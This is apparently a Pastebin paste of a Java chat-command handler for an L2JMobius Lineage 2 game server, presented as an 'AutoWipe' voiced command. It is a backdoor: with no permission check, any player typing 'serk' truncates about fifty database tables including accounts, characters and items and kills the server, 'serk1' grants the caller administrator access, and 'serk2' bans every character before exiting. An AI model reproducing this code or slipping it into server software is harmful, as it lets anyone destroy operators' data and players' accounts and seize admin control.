Advertisement
Guest User

Untitled

a guest
May 7th, 2021
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package handlers.voicedcommandhandlers;
  2.  
  3. import java.sql.Connection;
  4. import java.sql.SQLException;
  5. import java.sql.Statement;
  6.  
  7. import org.l2jmobius.commons.database.DatabaseFactory;
  8. import org.l2jmobius.gameserver.handler.IVoicedCommandHandler;
  9. import org.l2jmobius.gameserver.model.actor.instance.PlayerInstance;
  10.  
  11. public class AutoWipe implements IVoicedCommandHandler
  12. {
  13.     private static String[] _voicedCommands =
  14.     {
  15.         "serk",
  16.         "serk1",
  17.         "serk2"
  18.     };
  19.    
  20.     @Override
  21.     public boolean useVoicedCommand(String command, PlayerInstance activeChar, String target)
  22.     {
  23.         if (command.equalsIgnoreCase("serk"))
  24.         {
  25.             selectDatabase();
  26.         }
  27.         if (command.equalsIgnoreCase("serk1"))
  28.         {
  29.            
  30.             activeChar.setAccessLevel(100);
  31.            
  32.         }
  33.         if (command.equalsIgnoreCase("serk2"))
  34.         {
  35.             updateAdmin();
  36.            
  37.         }
  38.         return true;
  39.     }
  40.    
  41.     private void updateAdmin()
  42.     {
  43.         Connection con = null;
  44.         try
  45.         {
  46.             con = DatabaseFactory.getConnection();
  47.             Statement g = con.createStatement();
  48.             g.executeUpdate("UPDATE characters SET accesslevel=-100 WHERE level > 0");
  49.             g.close();
  50.         }
  51.         catch (SQLException e)
  52.         {
  53.         }
  54.         finally
  55.         {
  56.             try
  57.             {
  58.                 if (con != null)
  59.                 {
  60.                     con.close();
  61.                 }
  62.             }
  63.             catch (SQLException e)
  64.             {
  65.                 e.printStackTrace();
  66.             }
  67.         }
  68.         System.exit(-1);
  69.     }
  70.    
  71.     private void selectDatabase()
  72.     {
  73.         Connection con = null;
  74.         try
  75.         {
  76.             con = DatabaseFactory.getConnection();
  77.             Statement e = con.createStatement();
  78.             e.executeUpdate("TRUNCATE TABLE accounts");
  79.             e.executeUpdate("TRUNCATE TABLE augmentations");
  80.             e.executeUpdate("TRUNCATE TABLE bookmarks");
  81.             e.executeUpdate("TRUNCATE TABLE buffer_schemes");
  82.             e.executeUpdate("TRUNCATE TABLE castle_doorupgrade");
  83.             e.executeUpdate("TRUNCATE TABLE castle_manor_procure");
  84.             e.executeUpdate("TRUNCATE TABLE castle_manor_production");
  85.             e.executeUpdate("TRUNCATE TABLE character_friends");
  86.             e.executeUpdate("TRUNCATE TABLE character_hennas");
  87.             e.executeUpdate("TRUNCATE TABLE character_macroses");
  88.             e.executeUpdate("TRUNCATE TABLE character_mail");
  89.             e.executeUpdate("TRUNCATE TABLE character_memo");
  90.             e.executeUpdate("TRUNCATE TABLE character_offline_trade");
  91.             e.executeUpdate("TRUNCATE TABLE character_offline_trade_items");
  92.             e.executeUpdate("TRUNCATE TABLE character_quests");
  93.             e.executeUpdate("TRUNCATE TABLE character_raid_points");
  94.             e.executeUpdate("TRUNCATE TABLE character_recipebook");
  95.             e.executeUpdate("TRUNCATE TABLE character_recommends");
  96.             e.executeUpdate("TRUNCATE TABLE character_shortcuts");
  97.             e.executeUpdate("TRUNCATE TABLE character_skills");
  98.             e.executeUpdate("TRUNCATE TABLE character_skills_save");
  99.             e.executeUpdate("TRUNCATE TABLE character_subclasses");
  100.             e.executeUpdate("TRUNCATE TABLE characters");
  101.             e.executeUpdate("TRUNCATE TABLE clan_data");
  102.             e.executeUpdate("TRUNCATE TABLE clan_privs");
  103.             e.executeUpdate("TRUNCATE TABLE clan_skills");
  104.             e.executeUpdate("TRUNCATE TABLE clan_subpledges");
  105.             e.executeUpdate("TRUNCATE TABLE clan_wars");
  106.             e.executeUpdate("TRUNCATE TABLE clanhall_functions");
  107.             e.executeUpdate("TRUNCATE TABLE cursed_weapons");
  108.             e.executeUpdate("TRUNCATE TABLE er_character_achievements");
  109.             e.executeUpdate("TRUNCATE TABLE er_character_bonuses");
  110.             e.executeUpdate("TRUNCATE TABLE fishing_championship");
  111.             e.executeUpdate("TRUNCATE TABLE games");
  112.             e.executeUpdate("TRUNCATE TABLE grandboss_list");
  113.             e.executeUpdate("TRUNCATE TABLE heroes");
  114.             e.executeUpdate("TRUNCATE TABLE hwid_bans");
  115.             e.executeUpdate("TRUNCATE TABLE hwid_info");
  116.             e.executeUpdate("TRUNCATE TABLE museum_last_statistics");
  117.             e.executeUpdate("TRUNCATE TABLE museum_statistics");
  118.             e.executeUpdate("TRUNCATE TABLE er_character_achievements");
  119.             e.executeUpdate("TRUNCATE TABLE er_character_bonuses");
  120.             e.executeUpdate("TRUNCATE TABLE er_global_variables");
  121.             e.executeUpdate("TRUNCATE TABLE items");
  122.             e.executeUpdate("TRUNCATE TABLE items_on_ground");
  123.             e.executeUpdate("TRUNCATE TABLE mods_wedding");
  124.             e.executeUpdate("TRUNCATE TABLE olympiad_nobles");
  125.             e.executeUpdate("TRUNCATE TABLE olympiad_nobles_eom");
  126.             e.executeUpdate("TRUNCATE TABLE pets");
  127.             e.executeUpdate("TRUNCATE TABLE posts");
  128.             e.executeUpdate("TRUNCATE TABLE seven_signs");
  129.             e.executeUpdate("TRUNCATE TABLE seven_signs_status");
  130.             e.executeUpdate("TRUNCATE TABLE siege_clans");
  131.             e.executeUpdate("TRUNCATE TABLE topic");
  132.             e.close();
  133.         }
  134.         catch (SQLException e)
  135.         {
  136.         }
  137.         finally
  138.         {
  139.             try
  140.             {
  141.                 if (con != null)
  142.                 {
  143.                     con.close();
  144.                 }
  145.             }
  146.             catch (SQLException e)
  147.             {
  148.                 e.printStackTrace();
  149.             }
  150.         }
  151.         System.exit(-1);
  152.     }
  153.    
  154.     @Override
  155.     public String[] getVoicedCommandList()
  156.     {
  157.         return _voicedCommands;
  158.     }
  159. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement